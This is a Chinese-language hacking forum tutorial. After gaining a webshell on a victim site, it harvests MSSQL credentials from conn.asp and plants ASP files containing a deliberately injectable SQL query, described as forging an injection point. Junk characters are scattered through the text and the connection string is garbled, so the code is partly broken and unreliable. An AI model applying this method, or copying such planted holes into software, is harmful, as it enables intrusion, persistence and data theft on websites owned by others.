首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
: s8 X8 {8 C6 ]; @ASP/Visual Basic代码+ Z2 q& v- g0 d( Z* P; c% `
<!--#include file="xx.asp"-->
* H4 c) y9 h1 w! a, B5 I6 A<%
8 G7 z7 \& \( J! @- h" g' P/ Gset rs=server.createobject("ADODB.recordset")
4 Y" Y$ i% n; a9 [2 j4 Qid = request("id") 3 O! U7 k9 G& L( `7 F/ |! {8 u
strSQL = "select * from admin where id=" & id
" P/ d+ O7 W6 p% I$ g1 a* ?rs.open strSQL,conn,1,3 4 Z% g$ ^. ]! Z4 w+ W/ ]" L+ e5 J# C. N
rs.close
- v+ F5 M7 T! C4 z1 \1 }6 a%>
7 g( c* f9 [" E7 Q: J3 ~# ?把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
2 k+ w& H& _( b) d4 m: A然后就要构造一个连接数据库的文件了,代码如下:' b3 P- t, S. J; k8 `7 B
ASP/Visual Basic代码
; Q& z* B( s; k. P* a<%
( g" {# W1 Y& h) y; w2 `8 |' U$ YstrSQLServerName = "000.000.000.000" '服务器名称或地址
9 b+ E+ m& k! ~& @* G4 N) k6 ]strSQLDBUserName = "sqlname" '数据库帐号 % [) r9 l( o- @: Y" h
strSQLDBPassword = "sqlpass" '数据库密码
( I4 y% t2 d$ N" UstrSQLDBName = "sqldataname" '数据库名称 - l7 V+ O3 |% D
Set conn = Server.CreateObject("ADODB.Connection")
6 p( R4 }( E6 o$ OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" " c: T4 E) ]) s0 s2 j7 z
conn.open strCon
% a2 @+ q& i& w! X/ l& h/ _! d%> 3 r0 g9 `" f2 R. I+ v" U3 a. R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
# ?. _6 G, y8 G; C$ q! L |